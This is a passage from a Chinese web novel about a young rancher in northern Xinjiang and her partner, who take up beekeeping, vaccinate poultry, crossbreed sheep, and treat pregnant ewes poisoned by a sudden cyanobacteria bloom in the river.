师月江了然，在上一次来新省之前他从来没来过这边，也没去过欧洲，怪不得从没见过这种黑蜂。 “好养吗？” 姚新泉摇头，“我也不知道，我没养过，不过这是本地的蜜蜂，至少不存在适应环境的问题，咱们这边应该有养蜜蜂的人，咱们去学一下？” 师月江没有意见，就见姚新泉进屋去好像打了几个电话，实际上是从系统那边问到了养蜂人的信息后，两人骑着摩托车便出发了。 养蜂人目前还没转场，就在这边不远处的河谷地区放蜂。姚新泉两人到的时候简明正在取蜜，他自来熟，虽然没见过两人但是还是很热情地打招呼。 姚新泉说明了来意，怕对方误解自己要抢他生意又多解释了两句，“我们主业是养殖牲畜，不会出去放蜂，花源有限，也养不了多少，就自家吃吃。” 简明摆了摆手，“好蜂蜜到什么时候都是稀罕玩意儿，我自问我家的蜂蜜绝对不会比任何人家的差，就算你们学出来那也是新手，我的老顾客很稳定，而且我的产量多少，你们就算想养，短期内产量也绝对不可能超过我，我才不操心这个呢！” “所以你们现在就是不知道该怎么处理那些幼虫，又想养蜜蜂是吗？” 两人点点头。 “你们蜂箱里现在没有成虫，没有工蜂喂养的话幼虫没多久就会死的，你要真想养，可以从我这边拿回去一箱蜜蜂，我这个也是新省黑蜂驯化家养的，跟你那种是同种蜜蜂，这样工蜂对幼虫的接受度会比较高。” 想了想他又加了一句，“不过也不能保证， 也有可能会发生排斥反应，不过你如果真养了别的蜜蜂，幼虫死了也没多可惜，反正你已经拿到蜂蜜了。” “你如果想自己驯化的话，也可以制作蜂箱吸引蜜蜂，就用你取过蜂蜜的那些蜜脾就成，或者放些稀释后的糖水，反正办法还挺多的。” 不过其实如果是熟手的话最开始就可以整体移巢，把蜂巢整体放到蜂箱了去，可他俩已经把蜜蜂都轰走了。 “不过只要你想繁衍那就肯定得有蜂王的。” 姚新泉想了想之后还是决定从他这边买一箱，驯化过的总得来说肯定要比野外的要好养一些吧！ 可能对人没那么大的攻击性？ 两人买了一箱蜜蜂，又买了两个空的箱子，先拿回去引蜜蜂，顺便让师月江学学。 蜂箱前面有用纱网做的入口，关上后就可以防止蜜蜂飞出，不过还是留了通气孔，师月江坐在蜂箱前面只觉得如坐针毡，姚新泉也只能缓缓地骑车，生怕颠簸或者急刹之后激怒蜜蜂。 两人一路跟驮着地雷一样小心翼翼地往回走，路上姚新泉还专门停了一下，让师月江往缝隙处洒了点水，蜜蜂翅膀沾水就会降落。 等终于到家后两人都沉沉地呼出一口气来，对视一眼笑了出来，太难了，太难了！ “把那块儿带着幼虫的蜜脾放在旁边的蜂箱里吧，然后按照简明说的把蜜脾涂抹上去，能吸引来原来的蜜蜂也不错，或者这群刚搬过来的小家伙能喂养幼虫也行。”主要是两人真不知道怎么把蜜脾放进有蜜蜂的蜂箱里了，忘问了…… 难道还是熏吗？万一熏跑了呢？两个养蜂新手很是谨慎。 这两天外面天气还不错，但是山上的蜜源不算特别多。简明那边是河谷地区，海拔低，温度高，花都开了，但这边就没那么多开了的花。 “简明刚说先静置一到两个小时，咱们选个避风、阳光充足的地方”，师月江看了看，“就放在那边墙边上吧！” 离这里不算太近，太近了万一小家伙们谁手贱了一下也就罢了，再吃上去，嘴都给他叮肿！ 那边他们不常去，就放那边吧！ “我钉两个架子防潮”，师月江给自己安排工作，姚新泉也没闲着，现在蜜源少，那就需要用糖水喂养几天，刺激蜂王产卵。 至于补充花粉饼的话还是算了，这几天采不到影响也不大，过不了多久草原上的花就都开了，不提草原上，下面农田里的油葵、油菜这些也都陆陆续续会开花，少不了花源的。 因为昼夜温差大，白天倒无所谓，晚上还得给它们稍微在蜂箱上盖一下，剩下的就随缘吧！ 养蜂不是她的主业，能养好最好，养不活也不会再投钱了，又不是钱多得没地方花！ “这次先给你哥寄蜂蜜，等回头咱们自己家牛羊杀了，给他烘点牛肉干寄过去。” 这段时间家里没得杀，不然夏天阳光好，晾在通风的地方三五谈就能干了。 实在不行到时候也能稍微用烟熏一熏，一样也行。 第76章 两人安顿好蜜蜂后回到家里开始清洗蘑菇,“咱们自己吃的都弄干净一点，拿刀把根上脏的地方都削掉，然后用水清洗干净放在外头晾着。” 蘑菇洗了之后容易坏,不过反正也要摊开来晒倒也无所谓。 看着摊开的羊肚菌姚新泉突然道,“咱们做个羊肚菌蒸蛋吧,我好久没吃了！” 师月江没做过,不过他现在很有尝试的想法,“你大概跟我说说,我试着给你做”，他对牧场上的事情没有姚新泉熟悉，很多事情至少目前只能让姚新泉去办，他帮不上太多的忙。 不过他可以想办法照顾姚新泉的生活,就像是做饭,他可以慢慢学。蒸蛋他学过,想来羊肚菌蒸蛋也复杂不到哪里去。 “那行，那我就等着吃了”，姚新泉不喜欢打击别人的自信心,师月江愿意干,她高兴还来不及呢！ 羊肚菌是鲜的便不用泡发了，把羊肚菌切碎成丁,碗里打入四个鸡蛋,加入1.5倍左右的温水,倒入适量盐,把上面的碎末撇去后再放入蘑菇丁。 师月江把汤盆放进钢筋锅里后想了想又在上面盖了好大一个盘子，见姚新泉看过来他解释道，“不想让水蒸气滴进去。” 姚新泉点头，留师月江做饭后她自己去了院子外面,把自己提前找来的木头翻了出来，她要围个栅栏。 去年就想围了，倒不是出于什么安全的目的。她的牧场足够大，四千亩地就算了，周边最近的村离这里都有好几公里。 除此之外，这边野生动物其实不算少，而且去年冬天的雪不算小，但是出现在她的牧场周边的也就那个狼妈妈小狼崽以及高鼻羚羊，对她还没什么敌意。 况且退一步说就算真的出现对她有恶意的野生动物了，这么几根木头栅栏能拦得住谁？家里最小的点点都拦不住！ 所以她弄这个栅栏更多的就是想区分开生活区和工作区，她确实热爱牧场，也热爱她如今的工作，但是也不是说一天24小时都必须得扎在牧场里忙着，她也可以有自己的生活。 在这个栅栏围墙里的就是她自己的生活。 两人各自忙着，师月江做好饭让她进来吃饭，看着饭桌上的蒸蛋、香肠、鸡毛菜姚新泉勾了勾唇角。 师月江不大好意思地笑了，“香肠是四川那边的，我看你喜欢吃辣找人专门寄过来的”，他自己倒没什么偏好，什么都能吃，但姚新泉相对来说好像更喜欢重口一些的。 “鸡毛菜是我去地里间苗拔出来的，咱们地里的菜长得真好！” 今年又多开了两亩地，现在全都种上了。 鸡毛菜、生菜、花菜、西红柿、辣椒、茄子、豆角等等，基本上这边市面上能买到的种子都种了下去。本来他还想着不应该先育苗吗，这样会不会产量低，没想到出苗率一点都不低！他已经抽空都间苗了，把长势没那么好的都挑出来，长势好的留下。 鸡毛菜又是长得最快的，所以家里已经不缺青菜吃了。 姚新泉先尝了一筷子清炒鸡毛菜，跟他比了个大拇指，“特别清爽，好吃！” 又尝了一勺子蒸蛋，眼睛都亮起来了，“真香！你这手艺可以啊！咱们给你哥也寄一点羊肚菌过去，你再把你的方子写给他，你哥肯定高兴！” 土鸡蛋蒸着就不可能难吃，再加上还融入了羊肚菌独特的鲜香，上面还洒了葱花香油以及一点生抽，味道又没调差，确实好吃。 师月江笑眯了眼，他给姚新泉挖了一大勺，“喜欢你就多吃点，咱们牧场有好几个云杉林，回头我去云杉林下面多转一转，尽量多摘一点回来做给你吃！” 姚新泉的情绪价值拉满，他现在做饭的热情高涨，姚新泉偷笑了一下后又点头，“嗯嗯，你再研究研究别的吃法，我觉得你还是很有天赋的！” “真的啊！”师月江很是惊喜，他这次过来买了好几本烹饪的书，不过可以托哥哥再买几本，他既然有这个天赋那就好好练！ 吃好饭后师月江洗碗，姚新泉继续接着围栅栏，突然听到外面有人在喊她，师月江擦了擦手准备去开门，姚新泉拦了一下，“没事儿，我去吧”。 到了围栏边她看着外面的两个陌生人 有点疑惑，“你们是？” 马丹丹跟徐博文两人见到她都笑，“我们是防疫站的，之前不是出现了布病患者嘛，你是咱们这边比较大的一家养殖户了，本来应该多来几个人或者更有经验的同志，但是领导的意思是姚同志你年轻观念新，该打的疫苗都打了，应该问题不大，所以让我们来了。” 有一些老古董或者语言不通的人家就由那些经验丰富的人去攻克。 姚新泉给两人开门，引着他们进来。 “家里牛羊大多数都在牧场上，我们该打的疫苗都打过了，艾力兽医那边应该是有记录的，你们如果想看的话我可以带你们过去”。 “另外还有我从国外引进的二十来头羊，目前还在隔离，不过手续都是齐全的。” “国外的羊？”两人对视一眼，表情很是惊讶，“你是怎么引进的？” 姚新泉笑了笑没接话，两人就知道姚新泉没有回答的意思了。 两人也不尴尬，马丹丹主动问，“我们可以去看看吗？还有手续我们也得看看，特别是检疫的手续。” 从国外引进牲畜很麻烦，不提别的，随之而来的传染病就足够让人头疼了。 除了布病之外，像是支原体肺炎、羊快疫、肠毒血症以及致死率极高的羊痘、小反刍兽疫这些都很让人头疼，其中小反刍兽疫在幼羊身上的致死率能达到80%。 更别说可能还有携带一些当地的寄生虫，两人对视一眼都开始头疼了。本以为是个好差事，怎么突然这么麻烦了？ “姚同志，出口国那边有提供布病的阴性检测报告吗？还有PCR检测报告，PPR阴性报告以及接种梭菌多联疫苗等疫苗的的记录。” 姚新泉点头，示意师月江去拿，这些都是随羊带回来的，师月江也知道放在哪里。 “羊的手续我备齐了，入境后也做了药浴、粪便检测、隔离、驱虫，才到牧场几天目前还没合笼，应该是没什么问题的。” 一行人说话间已经到羊圈了，打量了一圈之后心放下了一些，羊圈环境很好，羊的精神也不错，看不太出奔波了这么久之后的疲态。 等两人翻看了师月江拿来的厚厚一沓材料后脸上表情更好看了，随后二人又进了羊圈分别检查了一圈，确认确实没有任何问题这才开口，“没问题了，那咱们再去看看另外的？” 等把羊群和牛群全都检测完了之后两人本打算回去了，可当她们看到鸭苗的时候愣了一下，“你牧场上还养鸭子？” 师月江笑着点头，她把凑过来的平安推开，“数量不算特别多，目前鸭子已经散养了，还有一批鹅跟珍珠鸡还都小，我再圈养几天到时候一起放出来。” 马丹丹点了点头，姚新泉刚准备带着两人走，就听徐博文问，“鸭子都免疫了吗？” 姚新泉一愣，她家里之前没养过家禽，艾力主要治疗的也是牲畜而不是家禽，所以当她之前去咨询艾力的时候，对方只是告诉了她一些基本的东西，但姚新泉确实不知道鸭子也要免疫。 “同志你说说怎么免疫？也打疫苗吗？” 徐博文推了推眼镜，“这也是咱们这边才学回来的经验，主要是针对大型养殖户的。像是一些常见的鸭病比如说鸭瘟、鸭肝炎之类的如今已经有预防措施了。像是早前的话一般都是在饲养过程中添加抗生素之类的。” 姚新泉点头，“我之前就给它们喂过土霉素。” “不够”，徐博文摇头，“像是土霉素这类的抗生素只能预防细菌性疾病，不是万能的，还有一些病毒性的疾病都是没办法预防的，所以得接种疫苗。” “你家应该不是从孵化厂里运来的吧？” 姚新泉点头，又把之前的事情讲了一遍，“现在孵化厂里会进行免疫吗？” 徐博文点头，“我之前出去学习过，现在严谨一些的厂子一般在种鸭开产前对它们进行免疫，这样雏鸭就能通过卵黄抗体被动保护，这是可以预防鸭病毒性肝炎的。” 除此之外他又讲了一堆关于大肠杆菌病等病毒的症状、应对措施、预防措施等，姚新泉随身带着本子，飞快地都记了下来。 “徐同志，不知道你这里有什么推荐的书籍吗？我自问在养牲畜上有点经验，但是在养家禽上现在看来倒像是门外汉了”，姚新泉苦笑。 她倒也不是说步子扯得太大，主要是她想慢慢摸索着来呢！ 家里牧场这么大，利用率这么低，这不就是浪费资源吗？ 况且她还在学兽医课程，虽然还没学到家禽，但是总觉得好像是可以尝试尝试的，但谁能想到呢，原来鸭子都要打疫苗了！时代进步太快了啊，她必须得加快学习的步伐，绝对不能落后！ 第77章 “雏鸭一般情况下用的鸭瘟疫苗跟鸭肝炎疫苗都是弱毒性的,可以口服，你既然想要规模化养殖最好还是准备好疫苗，免得有个万一,到时候损失的是你自己。” 姚新泉点头,之前也就是不知道,现在知道了该打的肯定是要打的。 “我们没带疫苗,回头你看是自己去防疫站买还是怎么样？” 确定了防疫站还有人值班,姚新泉便先去买了疫苗回来,顺带着又问了鸡跟鹅需要打的疫苗一并带了回来。 有的是放在饮用水里的，有的是注射的，有的是滴鼻点眼的，两人忙了两天才算是把这事儿弄完,等免疫完后她才松了口气。 “我还有好多不足,得慢慢学了啊！” 师月江听到了她的感慨,“我让我哥帮咱们买了相关书籍，回来之后我也跟着学。我底子更薄弱，只能慢慢来了。” 姚新泉拉了下他的手,师月江握住没有松开。 她没去专门了解过师家的产业,但是能捐出那么多条公路，他家绝对是家大业大了。 这种家庭出身的大少爷如今留在自己的小牧场上天天跟她种地养羊的,她确实没办法不感动。 师月江不在意这些,他不觉得这些是重复劳动,从一开始就知道里面学问很多,但是慢慢才发现，原来比他想的还要多！ 反正至少到目前为止他都觉得还蛮有意思的。 杜泊羊的隔离时间差不多到了，这阵子刚好是湖羊的发情期，不过考虑到本地温度比内地要低不少,尤其是晚上的时候，所以姚新泉晚上还专门给它们烧了炉子，就怕耽误了它们的发情期。 当发现湖羊基本上都发情了，杜泊羊的身体也恢复得差不多之后，便安排了双方合笼。 正当她抱臂靠在一边，等着杜泊羊爬跨完成配种时，她突然发现事情好像不太对。 “师月江，你看那几头是不是都没配成？”她没忍住皱起了眉头。师月江看了过去后顿了下，有点尴尬地点头，“好像是的，母羊好像不太愿意。” 姚新泉仔细观察了一下，果然是这样的。湖羊在杜泊羊靠近后都会不自觉地远离，当公羊有爬跨行为后，母羊更是想要逃跑。 “是因为体型差距太大了吗？”姚新泉有些迟疑地问道。 她之前在书上看过两种羊，但确确实实是当羊到了自己羊圈才正儿八经接触它们，虽然之前有感慨过双方有体型差，但没想到影响竟然这么大？ 杜泊羊的公羊体型确实比较大，最重的能有120公斤，而湖羊最重的母羊也就60公斤，两倍的体重在湖羊遇到杜泊羊的时候难免会有恐惧感，尤其是当公羊爬跨的时候。 姚新泉无奈拍了下额头，“这可咋整？” 大老远折腾过来，总不能说因为它们不愿意就不继续了吧？ 可母羊就是不愿意啊？ 如果是早知道这种情况，她可能还会叮嘱一下专门挑选体型不要那么大 的公羊，或者是相对体格更大一点的湖羊，但现在说就晚了。 不对，就算早知道她也未必会特意叮嘱，本身就是找种公搞繁育的，不找健壮条件好的公羊，难道找瘦弱身上没二两肉的公羊？ 姚新泉见不少公羊都有些激动，想了想先进了羊圈，把杜泊羊都弄了出来，安抚了一会儿湖羊后带着师月江回去了。 “母羊发情期时间短，不能耽搁，咱们得好好考虑一下怎么解决。” 放弃是绝对不可能的，毕竟这俩又没有生殖隔离，只是配种难而已。 “我目前觉得有两种办法吧，一种是人工授精”，姚新泉像是在自言自语，又像是在跟师月江商量，他给对方倒了杯水，静静听姚新泉分析。 “不过问题也大，成本会增高这是不可避免的，所以我还是更倾向于人工辅助受精。” “怎么说？” “母羊会跑，那就得固定母羊，看看咱们是抱着母羊还是弄个架子固定一下？” “我看咱家公羊的后肢力量还行，不至于咱们去托着它的腹部，咱们先试试看？” 师月江点头，“我研究一下怎么弄，这次可以简单一点先配完再说，回头我再看看弄个专业点儿的。” 师月江找了几块板子跟柱子，敲敲打打钉在了一起，别的不好说能不能控制住，但是肯定能把头固定住。 两人又回到了羊圈里，这次两人只能一只一只往外抓，然后把母羊控制住后引导公羊过来配种。 300只羊愣是配了两天多才折腾完，姚新泉两人对视一眼均苦笑。 “别人养羊配种的时候是公羊遭罪，怎么咱俩养个羊配种，咱俩遭罪啊！” 师月江一愣随即哈哈大笑起来，“不过之后这种事情少不了的”。 姚新泉也知道少不了，湖羊体型就是小，杜泊羊体型就是大，如果以后要扩大养殖规模的话，一代杂交羊的数量肯定还是要扩大的，不过以后的事情以后再说吧！ 她也不可能无限扩大，牧场就这么大，她不节制地繁殖一代杂交羊，可她想出售的是二代杂交羊，到时候在哪养？除非到时候出售一代羊或者直接出售二代羊去给别人育肥，她赚繁育的钱？ 不过这个以后再说吧！ 确认好所有母羊都配种好了之后，姚新泉回去找了药箱后回来给12头母羊治疗，它们因为体型小有一些撕裂伤。就很离谱，也不怪它们怕公羊啊！ 配好之后把羊在家里圈养，杜泊羊则是放出去单独养了，主要是没办法跟别的一起放，细毛羊都怀孕了，公羊的节操明显没有那么高，就算细毛羊怀孕了它们还是会发生爬跨行为的。 趁着这两天温度还不错，而且之后几天也没降温和下雨，姚新泉决定再给细毛羊剃一次羊毛。 目前细毛羊怀孕两个月左右，只要不是过度驱赶或者刺激它们，正常来说不会有太大的问题。 至于昼夜温差的话，这阵子晚上让它们回圈里就成。 “这时候本来也是传统剪毛的季节，如果不剪毛可能会导致羊毛脱落以及滋生寄生虫。细毛羊的预产期大概在七月份左右，是这边最热的时候，中午温度能到30度。而那时候又是妊娠晚期，更不方便剪毛了，到时候羊有可能中暑的。” 家里的细毛羊虽然没有美利奴羊的毛那么密，但是也是正儿八经产毛的羊，比起山羊之类的更需要剪毛。 不剪毛的话羊没办法进行有效的排汗，中暑的可能性非常大。 师月江没有意见，她收拾好两人的工具骑着摩托车载着姚新泉去了牧场上。 马合木提江两人已经在等着他们了，姚新泉再一次跟两人叮嘱，“动作慢点无所谓，但是不能吓着它们。” 她家这也算是“反季节”养羊了！ 人家都是接春羔，每年差不多都是十一月左右配种，来年三月左右出生，到五月份小羊都老大了，也不需要特殊照料，母羊该剪毛剪毛，该驱虫驱虫，根本没什么影响。 但没办法，已经这样了，只能尽量照顾精细一些吧！ 马合木提江和玛依拉两人一组，姚新泉和师月江两人一组。 因为姚新泉的存在更能安抚小羊，所以哪怕师月江是新手还是由他来剪毛。 “把毛都分开剪，不同部位的毛是不同的价格”，姚新泉交代他，自己则是先去注意了母羊的状态，可这么一看她脸色就不大好看了。 师月江一直在关注着她，忙问，“怎么了，羊哪里不对？” 马合木提江两人听到动静也看了过来，姚新泉指着这只羊的屁股处道，“你看看这里，不太对劲。” 羊屁股处甚至是羊尾巴处的毛色肯定会有一些变色，这是没办法避免的。但是新疆细毛羊到底不是大尾巴羊也就是哈萨克羊，尾部没有大量脂肪。这样也有利于在放牧过程中的活动以及保证其身体的清洁，同时还能减少寄生虫的滋生。 可这头羊屁股处的毛发偏棕红，有点像便血。 她摸着小羊的头凑了过来看它的脸，小羊“咩”了一声，不知道为什么，她竟然听出了些许的委屈。 姚新泉摸了摸小羊的头，仔细看了过去发现确实不对，这头小羊的眼窝有些凹陷，皮肤弹性也差，精神还不太好。 她放开了这头，又看向马合木提江二人抓着的那头。这头不用看都知道精神不错，毕竟一直在蓄力去顶玛依拉呢！ 查看了一圈后发现这只确实还比较健康，难道500头羊里只有这一只有问题吗？ 姚新泉示意他们先停手，“先看看里面有多少精神不好的羊吧！” 姚新泉脸色不大好看，招呼着师月江进来挑，两人花了一个来小时的时间迅速把羊过了一遍发现其中有87头都有点小症状。 姚新泉的心彻底沉了下去。 其余413头目前是看着没问题，但是如果这是什么传染病或者是什么类似细菌感染，这413头也未必真的没事。 若是平常也就罢了，现在羊可都怀着孕呢！ 羊已经显怀了，不说现在这七八十头一下流产会给她造成多大的经济损失，只说对母羊造成的伤害很可能都是不可逆的啊！ 不是她功利，作为繁育的羊，一头没办法生育的羊那就只能被淘汰，比如说肉用。 这对她来说绝对是巨大的损失！ 第78章 艾力这几天很忙,跟防疫站那边配合把全县的所有牲畜凡是没有打过疫苗的全部补上了，今天好不容易不用出去了，可当接到师月江的电话时他瞪大了眼睛一下就站了起来。 “你说什么,你家羊便血了？” 艾力觉得不大对,赶忙追问,“是你家新引进的杜泊羊吗？还是之前的湖羊？总不能是怀孕的那一批吧？” 得到师月江肯定的回答后艾力彻底坐不住了,他撂下电话拿起装备骑上马就去了牧场。 姚新泉让师月江去打电话顺便接艾力,自己则是在思考可能是因为什么导致的。 马合木提江两人很是愧疚地过来道歉,“是我们没干好，我们都没发现羊便血了，如果不是你今天要剪毛那肯定得出问题！” 玛依拉也附和，“你扣工资吧,确实是我们没注意到。” 姚新泉摇了摇头没说话,倒不是说一点都不怪他们。他们这几天都在这边放牧,晚上也是关在羊圈里的，她也去羊圈里以及周围转了一圈，血便不多。 这说明什么？这应该是才发生没多久的事情,他们没有发现其实是情有可原的。 “现在不是说这个的时候,主要是为什么会便血，你们知道原因吗？” 是细菌感染？还是什么寄生虫？还是吃了什么乱七八糟的东西？ “不是一两头出事,一下八十多头羊中招绝对是大规模的问题,你们在牧场上没注意到吗？” 这就是她觉得两人也有原因的地方。 如果是一头羊突发的问题,那确实不好说,可能是因为各种各样的原因。但是八十多头，草原上出现了这种异常两人没发现？ 大规模？两人念叨着，突然马合木提江眼睛一亮，“早晨,早晨去河边饮水的时候，河里有好多水草，羊吃了，是不是因为这个？” 姚新泉让两人待在这看羊，自己往河边跑去。 这里离河水也就三四百米，姚新泉到了后就发现今天的河水确实和平时不大一样。 河水整体呈蓝绿色，里面是丝丝缕缕的藻类，玛依拉跟着过来也瞪大了眼睛，“早晨不是这样的，要是这样我们肯定不敢让羊吃！” 姚新泉的心彻底沉了下去，整片牧场上的牲畜都是靠着这条河生存的，现在羊中招了，牛呢？ 她心里一紧，牛已经进入妊娠晚期，基本上下个月就要生了，它们喝水了没有？ 她四下打量了一下，她跟师月江是骑摩托车过来的，现在车被骑走了，她想去牛那边都没办法去。 当目光落在皮皮身上时她眼睛一亮，小跑了过去，“皮皮，你载我一程好吧！” 她尝试了几下见皮皮并不抗拒，幸好皮皮不是大型马，她双手撑在马背上，也顾不得没有马鞍子了，手一用力跳跃上马。 为了避免皮皮应激她先趴在了皮皮背上不动，等她适应了这才腰腹用力挺起身来。 马合木提江脸上满是担心，“新泉，你等月江回来再去吧！”现在哪有人不用缰绳不用马鞍去骑马啊！ 太危险了！ 姚新泉摇头，“来不及了”，羊群在上游，他们来的时候刚喝过水，现在去的话，下游的牛还有可能没吃上蓝藻，如果因为这点时间耽误了，她真的会怄死！ 她没再说话，拍了拍皮皮右边脖子，随后用腿夹了夹马腹。皮皮确实是聪明，一下就领会了姚新泉的意思，跑了起来。 玛依拉没忍住跟了两步才停下来，沉沉叹了口气。 姚新泉也是第一次骑这种没有缰绳没有马鞍的马，哪怕她算是长在马背上的姑娘可仍然觉得这是特别大的挑战。 她一点不敢分神，哪怕神经紧绷但还是觉得此刻的自己比任何一刻都要自由！ 她似乎与皮皮与这片草原都融为了一体，感受着皮皮的奔跑，感受着北疆的风，这一刻她甚至顾不上去考虑羊怎么样，牛怎么样了。自由驰骋的快感在她心中迸发，她只觉得自己似乎在进行一场充满冒险的旅程！ 皮皮随着她的示意调整方向，她也是第一次载人，之前姚新泉都考虑到她年纪小，过早地载人会影响骨骼发育，所以舍不得骑，她自己也没有在草原上肆意奔跑过。 此时皮皮的激动就连坐在她身上的姚新泉都感受得很明显，她也很激动，但是冒险总是有终点的，她还需要依靠自己的平衡感以及腰腹力量来控制自己控制皮皮，挑战非常大。 她伏在皮皮身上大喊，“好姑娘，慢一点！” 皮皮缓缓放慢了速度，跟在她身后的师月江两人这才松了口气，他们刚才过来的时候就遇到了没马鞍骑马的姚新泉，两人心都提到嗓子眼，可是偏偏还不敢大声说话，生怕吓到她或者吓到皮皮了。 这种时候要是一分心那可真是完蛋！ 见那一人一马放缓了速度师月江这才放下心来，他缓缓吐出一口气，也不敢上前，就跟在了姚新泉身后。 他虽然不知道姚新泉这是要去做什么，但是看方向知道是去牛群和马群那边，所以也决定过去看看。 姚新泉一马当先到牛群所在地时，就看到领头的一头褐牛还差几步就到河边了，她的心瞬间便提了起来，“别过去，别喝！” 牛群顿了顿，不少牛都回头看了过来，姚新泉驰马减速靠近后也顾不得别的，双手用力在马背上一撑，便轻快地跳下马，惯性带的她又往前跑了十来米这才算是站稳了。 她赶忙跑到牛群面前，师月江跟艾力也跟了上来，三人把牛群和马都赶离了河边。 艾力看出来是水有问题了，他赶忙跑到了河边去，这一看人就惊到了，“蓝藻？我以为这东西只有南方才有，咱们这儿这么冷，才刚回温，怎么会有这个？” 师月江紧紧握着姚新泉的手不放，只觉得心都要跳出来了，他刚想说话就感受到肩膀上搭了一个热烘烘的脑袋。 姚新泉失笑，揉了揉皮皮的鬃毛，“好姑娘，你今天可是立功了！回去之后好好奖励你！” 师月江又好气又好笑，可姚新泉没摔下来皮皮确实功不可没，他歪着头蹭了蹭皮皮，小家伙眨巴着湿漉漉的大眼睛，看着可爱又乖巧。 两人到了河边后师月江看着河流的模样心也沉了下去，“水体富营养化！” 艾力文化水平其实一般，这么些年早就把学到的东西还给老师了，也不记得水体富营养化是什么情况，但是他学过蓝藻。 “之前我们培训的时候学过这个，这个水体的治理得联系相关部门，那你家里的羊是出问题了吗？” 几人又把牛往外赶了赶，姚新泉给师月江安排工作，“你先回家接水，然后用三轮车往这边拉，天热了牛、马不能缺水，家里的洗衣盆你端过来，你辛苦一下多拉两趟吧！我记得家里好像有那种大的塑料桶，带盖子的，用那个装水也行。” 早前自来水不是很稳定，经常会莫名其妙断掉，所以家里买过好大的水桶，还挺贵的呢！ 师月江点了点头，知道自己在这里帮不上忙就赶紧回去。 “我骑艾力大夫的马回去，你骑摩托带艾力大夫去羊那边，不许骑皮皮了！”师月江眼神中警告意味十足，天知道他看到姚新泉没缰绳没马鞍地坐在皮皮身上，那速度风驰电掣的时候紧张成什么样子了！ 牧场是重要，但是再重要也没她重要！ 姚新泉老实点头，时间紧急两人也没说什么，姚新泉叮嘱了牛群这边的娜娜、塔塔还有毛毛不许牛群再靠近河边，并且把它们都赶远了，这才赶紧带着艾力去了羊群那边。 师月江回了生活区那边没急着接水，他先去把姚新泉的电话册子翻了出来，他不认识生态环境局的领导，所以电话直接打到了高勇那边，林业局也算勉强沾边吧！ 等他说明身份说明来意后高勇一下就重视了起来，“我知道了，你们注意不要让牲畜再接触蓝藻了，尽量减少损失，我这边赶紧联系生态局。” 师月江嗯了一声，“公安局那边我也会联系，也麻烦高局长也告知一下”。 高勇嗯了一声，等挂了电话后还想这小年轻倒还挺懂，水体突然富营养化很大可能就是因为工厂排放污水导致水体里的氮、磷元素过多，也不知道是哪个王八蛋干的这种事情！ 高勇咬牙切齿地骂了两句又赶紧给其他部门打电话，约好了在姚家牧场碰面，他也得去看看。 师月江安排好了之后就按照姚新泉的吩咐把东西找了出来开始运水，不过这肯定不是长久之计啊！ 就算蓝藻治理得当，最起码也得一个来月？估计还不够。他是不太懂这些，可他也知道，污染可能是一瞬间的事情，但治理绝对是长久的事情！ 这条河流经许多地方，受影响的绝对不止姚新泉一家。姚新泉相对个人养殖户来讲抗风险能力还稍微强一点，就算不说其他，背后到底还有自己呢！ 可那些养殖户可能一遭出了事，家庭就撑不住了啊！ 可恨啊！ 第79章 姚新泉一言不发地带着艾力往羊群那边赶去,看到她的身影后马合木提江二人才松了口气，幸好没出事。 艾力顾不得别的，下了车后赶紧朝羊群跑去,羊的状况确实特别不好,被挑出来的这一批都有腹泻症状,有的还便血了,还有几只不停地在磨牙,背也明显是弓着的,看得出来很是难受。 艾力凑近了摸了摸羊，眉头便皱了起来，“发热了，身体里有炎症,而且呼吸速 度也加快了”,他又连着检查了几头羊的鼻腔和嘴巴,黏膜发绀，过度流涎，瞳孔也不大对。 “不能等了,我带了活性炭颗粒过来,先赶紧喂上，这东西在中毒一两个小时里最有效。” 知道姚新泉这边是什么情况后他把能想到的东西都带了过来,孕期便血,数量又多,不排除大规模投毒事件,肯定是要带活性炭的。 师月江也算是准备充分了，他不仅把那个超声仪带上了，还带了两大桶水绑在摩托车后面，家里备的别的东西也都带了过来,不想耽误时间。 姚新泉点了点头接过他递过来的兽用活性炭，家里母羊的体重普遍在五十七八公斤，喂食活性炭的话一般是一公斤体重喂食1-3克活性炭。现在已经明确有中毒症状的是87头，算下来差不多两公斤半的活性炭。 再把活性炭和水按照差不多1:5的比例混合，调成稀糊状。此时已经没办法去精确每一只要喂食多少了，姚新泉估摸着大概的量，找出师月江带过来的家里最大的注射器，吸入后走近小羊，刚想喂的时候她顿了顿，随后将注射器里的稀糊推进了盆里，她看了眼艾力三人都不在自己身边，想了想把手伸进稀糊里，“系统，治愈术。” 这治愈术是第一次用在物品身上，姚新泉也不知道有没有用，只是这种一天只能用一次的治愈术救不了这么多牲畜，只能试试了！ 另一边艾力又把包里的硫酸钠（也叫芒硝）拿了出来递给马合木提江，“兑水，一包差不多喂5头羊。” 他自己则是开始给羊配药，必须得补液、保肝肾，另外还有胎儿的问题，如果母羊状况实在不好的话还得肌肉注射□□。 一行人都忙了起来，姚新泉自己就能安抚住羊，她自己在前面喂食活性炭，主要是用来吸附毒素的，马合木提江夫妇喂食硫酸钠溶液，这是通过高渗作用吸水扩张肠道刺激排便的。 其实也可以喂食硫酸镁，这个作用和硫酸钠相似，而且还有轻微抑制宫缩的作用，不过在兽医中很少有专门用它来保胎。 另外喂食硫酸镁必须得保证母羊有充足的饮水，否则可能会因为脱水耽误病情。 可现在八十多头羊没办法运回去，从家里接水过来不是一件简单的事情。 至于硫酸钠的话作用其实和硫酸镁差不多，但是对孕羊的刺激性是小于硫酸镁的。 姚新泉家里的羊状态比他想的要好一些，他肯定还是得试试能不能保胎，所以斟酌之后还是采用了硫酸钠。 师月江那边运了两趟水后又把牛群往离河远的地方赶了赶，回家收拾了一些方便快捷的饭带上后就等高勇他们过来的。 好不容易等到人了，几人匆匆打了个招呼便往姚新泉他们那边赶去。 姚新泉见到来人也顾不上什么了，高勇他们见到倒下的羊也觉得心惊，赶忙安排人去河边勘察。 “小师，你把绳子拿来，把喂食过的羊拴在栏杆上我给挂水”，艾力招呼他，高勇也自觉上去帮忙，他不是专业人士，河水里的浓度什么的有专家去检测，他就帮帮忙吧！ 生理盐水加葡萄糖，又添加了5%浓度的碳酸氢钠以及维生素C和复合维生素B。 生理盐水和葡萄糖是用来平衡电解质，补充水分并且预防低血糖，但是葡萄糖的用量要注意一些，用量大了可能会加重利尿。 羊呼吸急促、黏膜发绀，是有酸中毒的迹象的，所以加了稀释的碳酸氢钠。 为了保胎又加入了抗氧化的维生素C以及增强代谢的复合维生素B。 